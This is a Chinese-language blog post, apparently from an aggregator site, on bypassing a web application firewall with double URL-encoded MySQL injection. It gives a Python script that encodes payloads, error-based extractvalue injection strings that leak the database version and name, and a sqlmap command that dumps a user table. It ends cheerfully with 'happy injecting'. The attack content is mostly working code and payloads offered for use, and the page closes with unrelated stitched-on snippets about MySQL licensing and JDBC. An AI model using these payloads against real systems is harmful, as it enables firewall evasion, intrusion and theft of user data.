mysql利用雙重url編碼繞過防火牆

2021-07-26 10:55:03 字數 1607 閱讀 5318

例子:post 的資料:

keyword=a

如果單純的在搜尋框中輸入:select , union,detele,' 那麼就會被waf阻攔頁面會顯示:非法字元

如果用雙重編碼的url替換注入語句那麼,waf就不會攔截

下面我寫了乙個程式來講普通的注入語句轉換為雙重url編碼:

import string

payload="' and extractvalue(1, concat(0x5c,version())) #"

retval = payload

if payload:

retval = ""

i = 0

while i < len(payload):

if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:

retval += '%%25%s' % payload[i + 1:i + 3]

i += 3

else:

retval += '%%25%.2x' % ord(payload[i])

i += 1

print retval

那麼我們用的一切注入語句都可以這樣表示:

比如:' and extractvalue(1, concat(0x5c,version()

)) #

轉換之後為:

%2527%2520%2561%256e%2564%2520%2565%2578%2574%2572%2561%2563%2574%2576%2561%256c%2575%2565%2528%2531%252c%2520%2563%256f%256e%2563%2561%2574%2528%2530%2578%2535%2563%252c%2576%2565%2572%2573%2569%256f%256e%2528%2529%2529%2529%2520%2523

然後丟到搜尋框裡面,然後通過報錯資訊得到資料庫版本號

在比如:

' and extractvalue(1, concat(0x5c,(select database()))) #
轉換之後為

%2527%2520%2561%256e%2564%2520%2565%2578%2574%2572%2561%2563%2574%2576%2561%256c%2575%2565%2528%2531%252c%2520%2563%256f%256e%2563%2561%2574%2528%2530%2578%2535%2563%252c%2528%2573%2565%256c%2565%2563%2574%2520%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2529%2529%2529%2520%2523

就能拿到資料庫的名字

愉快的注入吧

sqlmap 指令:sqlmap -u "" --data "keyword=1" --tamper chardoubleencode -d "gzidc" -t "shl_user" --dump -v 3

mysql利用雙重url編碼繞過防火牆

例子 post 的資料 keyword a 如果單純的在搜尋框中輸入 select union,detele,那麼就會被waf阻攔頁面會顯示 非法字元 如果用雙重編碼的url替換注入語句那麼,waf就不會攔截 下面我寫了乙個程式來講普通的注入語句轉換為雙重url編碼 import string pa...

mysql雙重許可 mysql的雙重許可

今天在cu逛了逛,看到乙個有意思的帖子 也就是mysql的雙重許可問題。以前我一直以為mysql是基於gpl發布的,只是象redhat那樣賣服務,不過從這個帖子看似乎不是那麼回事 關鍵是,如果你的程式是商業應用,那麼要麼選擇把你的程式也遵循gpl發布,要麼就要向mysql購買商業許可。其中有這麼一段...

JDBC連線MySQL的URL編碼問題

因為在本地測試用本地的資料庫都沒事情,插資料度資料都一點問題都沒問題,就考慮到了應該是jdbc連線的時候的url編碼問題,在修改之前,我們的連線是這樣的 jdbc mysql cdb myqcloud com 11462 sh books 網上搜了一下,說要在連線mysql資料庫的時候一般都會在ur...